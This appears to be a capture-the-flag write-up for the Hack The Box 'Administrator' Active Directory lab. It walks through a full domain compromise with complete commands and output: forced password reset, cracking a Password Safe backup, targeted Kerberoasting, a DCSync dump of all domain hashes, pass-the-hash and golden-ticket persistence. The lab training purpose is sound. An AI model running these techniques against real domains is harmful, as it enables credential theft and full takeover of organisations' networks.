As we own a new user, it’s always a good practice to look back at the bloodhound graphs.

The user michael has the capability to change the user benjamin's password without knowing that his current password.

Changing the Password for Benjamin

I successfully changed the password for benjamin to supportmeonPatreon:

croc@hacker:~$ bloodyAD -u 'michael' -p 'Pass@1234' -d 'Administrator.htb' --host '10.10.11.42' set password 'Benjamin' 'supportmeonPatreon'
[+] Password changed successfully!

We own another user. Hurrah😁!!

Share Enumeration

BloodHound

Looking at the bloodhound graphs, I found out that benjamin is a part of Share Moderators group.

Through enumeration on Google, I found out that:

The members of this group possess explicit permissions to access shared resources like SMB or FTP shares.

SMB

The password change was successful but we don’t have any additional access via SMB:

croc@hacker$ nxc smb 10.10.11.42 -u 'benjamin' -p 'supportmeonPatreon' --shares     
SMB         10.10.11.42     445    DC               [*] Windows Server 2022 Build 20348 x64 (name:DC) (domain:administrator.htb) (signing:True) (SMBv1:False)
SMB         10.10.11.42     445    DC               [+] administrator.htb\benjamin:supportmeonPatreon 
SMB         10.10.11.42     445    DC               [*] Enumerated shares
SMB         10.10.11.42     445    DC               Share           Permissions     Remark
SMB         10.10.11.42     445    DC               -----           -----------     ------
SMB         10.10.11.42     445    DC               ADMIN$                          Remote Admin
SMB         10.10.11.42     445    DC               C$                              Default share
SMB         10.10.11.42     445    DC               IPC$            READ            Remote IPC
SMB         10.10.11.42     445    DC               NETLOGON        READ            Logon server share 
SMB         10.10.11.42     445    DC               SYSVOL          READ            Logon server share

FTP

I successfully logged in as benjamin using our new password. Additionally, I found a backup file.

croc@hacker$ ftp benjamin@DC.administrator.htb
Connected to DC.administrator.htb.
220 Microsoft FTP Service
331 Password required
Password: 
230 User logged in.
Remote system type is Windows_NT.
ftp> ls
229 Entering Extended Passive Mode (|||64177|)
125 Data connection already open; Transfer starting.
10-05-24  08:13AM                  952 Backup.psafe3
226 Transfer complete.
ftp>

I transferred it to my machine.

ftp> prompt off
Interactive mode off.
ftp> mget *
local: Backup.psafe3 remote: Backup.psafe3
229 Entering Extended Passive Mode (|||64184|)
125 Data connection already open; Transfer starting.
100% |*****************************************************************************************|   952        3.86 KiB/s    00:00 ETA
226 Transfer complete.
WARNING! 3 bare linefeeds received in ASCII mode.
File may not have transferred correctly.
952 bytes received in 00:00 (3.84 KiB/s)
ftp>

Backup File

Backup.psafe3

This file is a Password Safe database file which is a popular open-source password manager. Through enumeration, I found out that these type of files are protected by a master password.

croc@hacker$ file Backup.psafe3                
Backup.psafe3: Password Safe V3 database

Cracking the Master Password

In order to view the passwords stored in this database file, we need its master password. Luckily, there is a JTR utility called pwsafe2john which we can utilize to convert this database file into crackable hashes allowing us to attempt password cracking using john.

croc@hacker$ pwsafe2john Backup.psafe3 > backup.hashes
                                                                                                                                      
croc@hacker$ ls
backup.hashes  Backup.psafe3

croc@hacker$ john backup.hashes --wordlist=/usr/share/wordlists/rockyou.txt
Using default input encoding: UTF-8
Loaded 1 password hash (pwsafe, Password Safe [SHA256 128/128 AVX 4x])
Cost 1 (iteration count) is 2048 for all loaded hashes
Will run 3 OpenMP threads
Press 'q' or Ctrl-C to abort, almost any other key for status
tekieromucho     (Backu)     
1g 0:00:00:02 DONE (2025-01-21 15:23) 0.4975g/s 3056p/s 3056c/s 3056C/s Liverpool..iheartyou
Use the "--show" option to display all of the cracked passwords reliably
Session completed.

Hurrah!! The master password has been successfully cracked!

Install Password Safe Password Manager

Install PasswordSafe using the following command:

croc@hacker$ sudo apt update -y && sudo apt install passwordsafe -y

After installed, you can access it via CLI using the command pwsafe or run it manually through Applications.

View the Database File

1. Once installed, open it & you will see the following dialog box:

croc@hacker$ pwsafe Backup.psafe3&
[1] 198610

2. Enter the master password we just cracked. Then, hit OK.

3. Here, we found the passwords for 3 other accounts:

4. Copy and paste all these passwords into mousepad or gedit for later use.

WinRM Access

As emily is a remote management user, 

croc@hacker$ sudo evil-winrm -i 10.10.11.42 -u 'emily' -p 'UXLCI5iETUsIBoFVTj8yQFKoHjXmb'
                                        
Evil-WinRM shell v3.7
                                        
Warning: Remote path completions is disabled due to ruby limitation: quoting_detection_proc() function is unimplemented on this machine
                                        
Data: For more information, check Evil-WinRM GitHub: https://github.com/Hackplayers/evil-winrm#Remote-path-completion
                                        
Info: Establishing connection to remote endpoint
*Evil-WinRM* PS C:\Users\emily\Documents>

user.txt

*Evil-WinRM* PS C:\Users\emily\desktop> ls


    Directory: C:\Users\emily\desktop


Mode                 LastWriteTime         Length Name
----                 -------------         ------ ----
-a----        10/30/2024   2:23 PM           2308 Microsoft Edge.lnk
-ar---         1/21/2025   8:11 PM             34 user.txt


*Evil-WinRM* PS C:\Users\emily\desktop> cat user.txt
4a86a2************************

Shell as Root

BloodHound

As we have compromised a bunch of other users, we must return to the bloodhound graphs and see what we can do. I found out that emily has GenericWrite permissions over ethan:

💡 Think Box

We have three potential attack vectors: Shadow Credentials, Forced Password Reset, and Targeted Kerberoasting. The first two options were unsuccessful so we are going with targeted kerberoasting.

Targeted Kerberoasting

As an attacker, what we do is add a SPN to the target account. Once an account has a SPN, it becomes vulnerable to kerberoasting attack. You can read more about it here.

We will be using the following script in order to perform this attack:

GitHub – ShutdownRepo/targetedKerberoast: Kerberoast with ACL abuse capabilities
Kerberoast with ACL abuse capabilities. Contribute to ShutdownRepo/targetedKerberoast development by creating an account on GitHub.
github.com

Step#1: Dump the Hash

The hash has been successfully dumped by script:

croc@hacker:/opt/targetedKerberoast$ python3 targetedKerberoast.py -v -d 'administrator.htb' -u 'emily' -p 'UXLCI5iETUsIBoFVTj8yQFKoHjXmb' --dc-ip '10.10.11.42'
[*] Starting kerberoast attacks
[*] Fetching usernames from Active Directory with LDAP
[VERBOSE] SPN added successfully for (ethan)
[+] Printing hash for (ethan)
$krb5tgs$23$*ethan$ADMINISTRATOR.HTB$administrator.htb/ethan*$fff79301f8fe782e17c7fb5d857e5c24$03bec9263f5408d18be2724fa3f6db1562aba7aa9cd2b3ae867714121b84c9739845788db09052ee101765ed0959f2e1dcebcad602f881ffa7e2a6b14883fa1d5c46b859aaee9c3fe568ced9afa0681413b7f310fc6a6cc6bad1d39a55a4c9cb311acbdb7599d4ccf69f8ad923b67d3c0ad9bf0548a3d053ab4cfe03c8feb4ad23a8bea60f0906f60330d55cb4f7c419bb4f9670aa91c9b041e9cc1ae75acb37241f5b9375a30e10b592131e463d3dacb1c6d1c2136699b88ebdca53814cce6d34695ea97f6a0323757494b17ed43690ac96cfef7d3d1b19fb03a4ff6096dbf698d19f9f712c5fcf062021580cbd6e153803bde9bacce0b6e3854f8443af063c48c28043064db82d5d3e9e144d3e84e4cd597c5395c5daaa37aef4979a9eb70a75759d3d7e33eb7dfe7ac3ce7dd3da88954ef3c04dba2a2136e70d76a725164b17f1a19acc39db8b8a15b37794ca97924b38fdd839229efd6109becb8084199ab07714d0f108ea003848169ad6aa5be2dcd34fd054a984bbbe040d36a6fa7a270159ded958a2a2cbccb23343ccfd1f61c43a26af21f40e6693fea688d409afe3e27e279c8c5df1a45a9f213db9508fa91763fc0f68f16982addddc86b2963328545358f43795fed9ecf30efae91d1877e1ef6f551c1a8febde68e976d7d72d36d5a504695eafded2fb885a0541af60f61cd25ac9b83257e94758227b2db1ebe9b9ce8a303535632c8c9f7e3cfa76fdeed33d3f57cd7f6db1c94c3f3a06a256939fec217abe561093b1b48d4b23e8336406dda34903c567316a8d0851376b631b411fa7cd96c07e2979d8ac89b8fc23eff76c0cda93197cc93b35cdebc6cc63a9fc0aa10246f77f988fa75e1644ab78d05a3e95dea386e1b07d2ba901f55dd972cf8546871571fa35b20d9f4bc10ad3798e000f4bdef49ee3b848821e6a769768e8b11cc4ab910d8767b29e5c046561a7abe5e2576c772f30c7d4e70e4e21b982b4429fc5239ea841f2dcdf560b21d5e72f0cf4190c8bafc099723c431a5c40e1d5a9df1bce11fdd05158a0821d2cefb9b240b94f0e99e0466b1e4cfefa64aa081bca49d2f036e36d785ec18310812fbbe574d0663aa243e1a2d58b885e3321defc23684a294c6ae56097914dfaec9f799d37fa331afff32dc14bdcb69327a926be2638668124032bb930a4f3ed3d2636b8a23b7f6a2c38bfd714436ccf63ae61fd854b4ca56d19a0249289b99354265c6316163a3a13cdf9520840ae4869de9b563656ee10fdf95a2cead9d284f54c7f8bfb04bbbc3fdf082f9743f7abda03f1be6b3a8818d405fa00c159d7e897830bb316b3b1a36cff6812c4fdc753049531b34731ea9f5362138f76e8b351241c279dac5d9da6cdeba6e1daf3ec4cf5ca572e293a30020eba7133ad5365888d7edd0f6eb588bbd22a62758e58b9463689e87e599ed64739a5dea443ad527dd6440acc508f0cdc28d5ac7e3bf4628d262f798d8e00950e9f81853855a1f2005bbe2a6a15adfa6b173b1f3fc592455418a6
[VERBOSE] SPN removed successfully for (ethan)

Step#2: Crack the Hash

Hashcat successfully cracked the hash:

croc@hacker$ hashcat -m 13100 hashes.txt /usr/share/wordlists/rockyou.txt 
hashcat (v6.2.6) starting

$krb5tgs$23$*ethan$ADMINISTRATOR.HTB$administrator.htb/ethan*$fff79301f8fe782e17c7fb5d857e5c24$03bec9263f5408d18be2724fa3f6db1562aba7aa9cd2b3ae867714121b84c9739845788db09052ee101765ed0959f2e1dcebcad602f881ffa7e2a6b14883fa1d5c46b859aaee9c3fe568ced9afa0681413b7f310fc6a6cc6bad1d39a55a4c9cb311acbdb7599d4ccf69f8ad923b67d3c0ad9bf0548a3d053ab4cfe03c8feb4ad23a8bea60f0906f60330d55cb4f7c419bb4f9670aa91c9b041e9cc1ae75acb37241f5b9375a30e10b592131e463d3dacb1c6d1c2136699b88ebdca53814cce6d34695ea97f6a0323757494b17ed43690ac96cfef7d3d1b19fb03a4ff6096dbf698d19f9f712c5fcf062021580cbd6e153803bde9bacce0b6e3854f8443af063c48c28043064db82d5d3e9e144d3e84e4cd597c5395c5daaa37aef4979a9eb70a75759d3d7e33eb7dfe7ac3ce7dd3da88954ef3c04dba2a2136e70d76a725164b17f1a19acc39db8b8a15b37794ca97924b38fdd839229efd6109becb8084199ab07714d0f108ea003848169ad6aa5be2dcd34fd054a984bbbe040d36a6fa7a270159ded958a2a2cbccb23343ccfd1f61c43a26af21f40e6693fea688d409afe3e27e279c8c5df1a45a9f213db9508fa91763fc0f68f16982addddc86b2963328545358f43795fed9ecf30efae91d1877e1ef6f551c1a8febde68e976d7d72d36d5a504695eafded2fb885a0541af60f61cd25ac9b83257e94758227b2db1ebe9b9ce8a303535632c8c9f7e3cfa76fdeed33d3f57cd7f6db1c94c3f3a06a256939fec217abe561093b1b48d4b23e8336406dda34903c567316a8d0851376b631b411fa7cd96c07e2979d8ac89b8fc23eff76c0cda93197cc93b35cdebc6cc63a9fc0aa10246f77f988fa75e1644ab78d05a3e95dea386e1b07d2ba901f55dd972cf8546871571fa35b20d9f4bc10ad3798e000f4bdef49ee3b848821e6a769768e8b11cc4ab910d8767b29e5c046561a7abe5e2576c772f30c7d4e70e4e21b982b4429fc5239ea841f2dcdf560b21d5e72f0cf4190c8bafc099723c431a5c40e1d5a9df1bce11fdd05158a0821d2cefb9b240b94f0e99e0466b1e4cfefa64aa081bca49d2f036e36d785ec18310812fbbe574d0663aa243e1a2d58b885e3321defc23684a294c6ae56097914dfaec9f799d37fa331afff32dc14bdcb69327a926be2638668124032bb930a4f3ed3d2636b8a23b7f6a2c38bfd714436ccf63ae61fd854b4ca56d19a0249289b99354265c6316163a3a13cdf9520840ae4869de9b563656ee10fdf95a2cead9d284f54c7f8bfb04bbbc3fdf082f9743f7abda03f1be6b3a8818d405fa00c159d7e897830bb316b3b1a36cff6812c4fdc753049531b34731ea9f5362138f76e8b351241c279dac5d9da6cdeba6e1daf3ec4cf5ca572e293a30020eba7133ad5365888d7edd0f6eb588bbd22a62758e58b9463689e87e599ed64739a5dea443ad527dd6440acc508f0cdc28d5ac7e3bf4628d262f798d8e00950e9f81853855a1f2005bbe2a6a15adfa6b173b1f3fc592455418a6:limpbizkit

Session..........: hashcat
Status...........: Cracked
Hash.Mode........: 13100 (Kerberos 5, etype 23, TGS-REP)
Hash.Target......: $krb5tgs$23$*ethan$ADMINISTRATOR.HTB$administrator....5418a6
Time.Started.....: Tue Jan 21 23:42:31 2025 (0 secs)
Time.Estimated...: Tue Jan 21 23:42:31 2025 (0 secs)
Kernel.Feature...: Pure Kernel
Guess.Base.......: File (/usr/share/wordlists/rockyou.txt)
Guess.Queue......: 1/1 (100.00%)
Speed.#1.........:    76395 H/s (4.12ms) @ Accel:256 Loops:1 Thr:1 Vec:8
Recovered........: 1/1 (100.00%) Digests (total), 1/1 (100.00%) Digests (new)
Progress.........: 5376/14344385 (0.04%)
Rejected.........: 0/5376 (0.00%)
Restore.Point....: 4608/14344385 (0.03%)
Restore.Sub.#1...: Salt:0 Amplifier:0-1 Iteration:0-1
Candidate.Engine.: Device Generator
Candidates.#1....: Liverpool -> ginuwine
Hardware.Mon.#1..: Util: 40%

Started: Tue Jan 21 23:41:00 2025
Stopped: Tue Jan 21 23:42:33 2025

So, the password for ethan is limpbizkit. Congratulations, we owned another user!

Revisiting BloodHound

The user ethan has the following privileges on the domai:

  • DS-Replication-Get-Changes
  • DS-Replication-Get-Changes-In-Filtered-Set
  • DS-Replication-Get-Changes-All

These privileges allows ethan to perform a DCSync attack.

DCSync Attack

In this attack, an attacker simulates the behavior of a domain controller and retrieve password data or NTDS.dit via Domain Replication. Watch this video or read this for a better understanding.

I used secretsdump to perform the DCSync attack and dumped the NTDS.dit:

croc@hacker$ impacket-secretsdump administrator.htb/'ethan':'limpbizkit'@10.10.11.42
Impacket v0.12.0 - Copyright Fortra, LLC and its affiliated companies 

[-] RemoteOperations failed: DCERPC Runtime Error: code: 0x5 - rpc_s_access_denied 
[*] Dumping Domain Credentials (domain\uid:rid:lmhash:nthash)
[*] Using the DRSUAPI method to get NTDS.DIT secrets
Administrator:500:aad3b435b51404eeaad3b435b51404ee:3dc553ce4b9fd20bd016e098d2d2fd2e:::
Guest:501:aad3b435b51404eeaad3b435b51404ee:31d6cfe0d16ae931b73c59d7e0c089c0:::
krbtgt:502:aad3b435b51404eeaad3b435b51404ee:1181ba47d45fa2c76385a82409cbfaf6:::
administrator.htb\olivia:1108:aad3b435b51404eeaad3b435b51404ee:fbaa3e2294376dc0f5aeb6b41ffa52b7:::
administrator.htb\michael:1109:aad3b435b51404eeaad3b435b51404ee:8864a202387fccd97844b924072e1467:::
administrator.htb\benjamin:1110:aad3b435b51404eeaad3b435b51404ee:95687598bfb05cd32eaa2831e0ae6850:::
administrator.htb\emily:1112:aad3b435b51404eeaad3b435b51404ee:eb200a2583a88ace2983ee5caa520f31:::
administrator.htb\ethan:1113:aad3b435b51404eeaad3b435b51404ee:5c2b9f97e0620c3d307de85a93179884:::
administrator.htb\alexander:3601:aad3b435b51404eeaad3b435b51404ee:cdc9e5f3b0631aa3600e0bfec00a0199:::
administrator.htb\emma:3602:aad3b435b51404eeaad3b435b51404ee:11ecd72c969a57c34c819b41b54455c9:::
DC$:1000:aad3b435b51404eeaad3b435b51404ee:cf411ddad4807b5b4a275d31caa1d4b3:::
[*] Kerberos keys grabbed
Administrator:aes256-cts-hmac-sha1-96:9d453509ca9b7bec02ea8c2161d2d340fd94bf30cc7e52cb94853a04e9e69664
Administrator:aes128-cts-hmac-sha1-96:08b0633a8dd5f1d6cbea29014caea5a2
Administrator:des-cbc-md5:403286f7cdf18385
krbtgt:aes256-cts-hmac-sha1-96:920ce354811a517c703a217ddca0175411d4a3c0880c359b2fdc1a494fb13648
krbtgt:aes128-cts-hmac-sha1-96:aadb89e07c87bcaf9c540940fab4af94
krbtgt:des-cbc-md5:2c0bc7d0250dbfc7
administrator.htb\olivia:aes256-cts-hmac-sha1-96:713f215fa5cc408ee5ba000e178f9d8ac220d68d294b077cb03aecc5f4c4e4f3
administrator.htb\olivia:aes128-cts-hmac-sha1-96:3d15ec169119d785a0ca2997f5d2aa48
administrator.htb\olivia:des-cbc-md5:bc2a4a7929c198e9
administrator.htb\michael:aes256-cts-hmac-sha1-96:b360c36cb6777b8cc3d88ab1aa60f0064e6ea4fc9b9a4ebacf66345118c0e959
administrator.htb\michael:aes128-cts-hmac-sha1-96:bc3c8269d1a4a82dc55563519f16de8b
administrator.htb\michael:des-cbc-md5:43c2bc231598012a
administrator.htb\benjamin:aes256-cts-hmac-sha1-96:a0bbafbc6a28ed32269e6a2cc2a0ccb35ac3d7314633815768f0518ebae6847f
administrator.htb\benjamin:aes128-cts-hmac-sha1-96:426ca56d39fe628d47066fc3448b645e
administrator.htb\benjamin:des-cbc-md5:b6f84a864376a4ad
administrator.htb\emily:aes256-cts-hmac-sha1-96:53063129cd0e59d79b83025fbb4cf89b975a961f996c26cdedc8c6991e92b7c4
administrator.htb\emily:aes128-cts-hmac-sha1-96:fb2a594e5ff3a289fac7a27bbb328218
administrator.htb\emily:des-cbc-md5:804343fb6e0dbc51
administrator.htb\ethan:aes256-cts-hmac-sha1-96:e8577755add681a799a8f9fbcddecc4c3a3296329512bdae2454b6641bd3270f
administrator.htb\ethan:aes128-cts-hmac-sha1-96:e67d5744a884d8b137040d9ec3c6b49f
administrator.htb\ethan:des-cbc-md5:58387aef9d6754fb
administrator.htb\alexander:aes256-cts-hmac-sha1-96:b78d0aa466f36903311913f9caa7ef9cff55a2d9f450325b2fb390fbebdb50b6
administrator.htb\alexander:aes128-cts-hmac-sha1-96:ac291386e48626f32ecfb87871cdeade
administrator.htb\alexander:des-cbc-md5:49ba9dcb6d07d0bf
administrator.htb\emma:aes256-cts-hmac-sha1-96:951a211a757b8ea8f566e5f3a7b42122727d014cb13777c7784a7d605a89ff82
administrator.htb\emma:aes128-cts-hmac-sha1-96:aa24ed627234fb9c520240ceef84cd5e
administrator.htb\emma:des-cbc-md5:3249fba89813ef5d
DC$:aes256-cts-hmac-sha1-96:98ef91c128122134296e67e713b233697cd313ae864b1f26ac1b8bc4ec1b4ccb
DC$:aes128-cts-hmac-sha1-96:7068a4761df2f6c760ad9018c8bd206d
DC$:des-cbc-md5:f483547c4325492a
[*] Cleaning up...

Domain Admin

Finally, we can leverage a Pass-the-Hash (PtH) attack to authenticate as the Domain Administrator on the domain controller.

croc@hacker$ sudo evil-winrm -i 10.10.11.42 -u 'administrator' -H '3dc553ce4b9fd20bd016e098d2d2fd2e'    
[sudo] password for croc: 
                                        
Evil-WinRM shell v3.7
                                        
Warning: Remote path completions is disabled due to ruby limitation: quoting_detection_proc() function is unimplemented on this machine
                                        
Data: For more information, check Evil-WinRM GitHub: https://github.com/Hackplayers/evil-winrm#Remote-path-completion
                                        
Info: Establishing connection to remote endpoint
*Evil-WinRM* PS C:\Users\Administrator\Documents>

root.txt

*Evil-WinRM* PS C:\Users\Administrator\Desktop> cat root.txt
f2ef42************************

Post Root

Golden Ticket

I wanted to delve deeper into the box by exploring some persistence techniques. I decided to give the Golden Ticket a shot! That’s when my friend/mentor, 0xCOFFEE, came to my rescue. The following note from him really helped me achieve this.

Pass the Ticket | 0xBEN | Notes
notes.benheater.com

Prerequisites

In order to generate a Golden Ticket, we require the following two things:

  1. Krbtgt AES Key
  2. Domain SID

Note that, we already have the AES Key for the krbtgt account from the DCSync Attack we just performed above.

Step #01: Domain SID

I used impacket-lookupsid along with the administrator account in order to dump the Domain SID:

croc@hacker:~$ impacket-lookupsid -hashes 'aad3b435b51404eeaad3b435b51404ee:3dc553ce4b9fd20bd016e098d2d2fd2e' 'administrator.htb/administrator@10.10.11.42'         
Impacket v0.12.0 - Copyright Fortra, LLC and its affiliated companies 

[*] Brute forcing SIDs at 10.10.11.42
[*] StringBinding ncacn_np:10.10.11.42[\pipe\lsarpc]
[*] Domain SID is: S-1-5-21-1088858960-373806567-254189436
498: ADMINISTRATOR\Enterprise Read-only Domain Controllers (SidTypeGroup)
500: ADMINISTRATOR\Administrator (SidTypeUser)
501: ADMINISTRATOR\Guest (SidTypeUser)
502: ADMINISTRATOR\krbtgt (SidTypeUser)
512: ADMINISTRATOR\Domain Admins (SidTypeGroup)
513: ADMINISTRATOR\Domain Users (SidTypeGroup)
514: ADMINISTRATOR\Domain Guests (SidTypeGroup)
515: ADMINISTRATOR\Domain Computers (SidTypeGroup)
516: ADMINISTRATOR\Domain Controllers (SidTypeGroup)
517: ADMINISTRATOR\Cert Publishers (SidTypeAlias)
518: ADMINISTRATOR\Schema Admins (SidTypeGroup)
519: ADMINISTRATOR\Enterprise Admins (SidTypeGroup)
520: ADMINISTRATOR\Group Policy Creator Owners (SidTypeGroup)
521: ADMINISTRATOR\Read-only Domain Controllers (SidTypeGroup)

Step#2: Generate the Ticket

Further, I used the impacket-ticketer to generate the ticket:

croc@hacker:~$ impacket-ticketer -aesKey 'aadb89e07c87bcaf9c540940fab4af94' -domain-sid 'S-1-5-21-1088858960-373806567-254189436' -domain 'administrator.htb' -dc-ip '10.10.11.42' -user-id '500' 'Administrator'
Impacket v0.12.0 - Copyright Fortra, LLC and its affiliated companies 

[*] Creating basic skeleton ticket and PAC Infos
[*] Customizing ticket for administrator.htb/Administrator
[*] 	PAC_LOGON_INFO
[*] 	PAC_CLIENT_INFO_TYPE
[*] 	EncTicketPart
[*] 	EncAsRepPart
[*] Signing/Encrypting final ticket
[*] 	PAC_SERVER_CHECKSUM
[*] 	PAC_PRIVSVR_CHECKSUM
[*] 	EncTicketPart
[*] 	EncASRepPart
[*] Saving ticket in Administrator.ccache

Here,

-aesKeySpecifies the AES Key for the krbtgt account
-domain-sidSpecifies the Domain SID
-user-idSpecifies the Administrator RID

Step#3: Test Out!

While specifying the KRB5CCNAME environment variable equal to the ticket we just generated, I used psexec to get remote access as the administrator user and it worked flawlessly!

croc@hacker:~$ KRB5CCNAME=Administrator.ccache faketime "$(ntpdate -q dc.administrator.htb | cut -d ' ' -f 1,2)" impacket-psexec -k -no-pass -dc-ip 10.10.11.42 'administrator.htb/administrator@DC.administrator.htb'
Impacket v0.12.0 - Copyright Fortra, LLC and its affiliated companies 

[*] Requesting shares on DC.administrator.htb.....
[*] Found writable share ADMIN$
[*] Uploading file YwxhjLVC.exe
[*] Opening SVCManager on DC.administrator.htb.....
[*] Creating service oZXF on DC.administrator.htb.....
[*] Starting service oZXF.....
[!] Press help for extra shell commands
Microsoft Windows [Version 10.0.20348.2762]
(c) Microsoft Corporation. All rights reserved.

C:\Windows\system32> whoami
nt authority\system
// Add the ref parameter to external links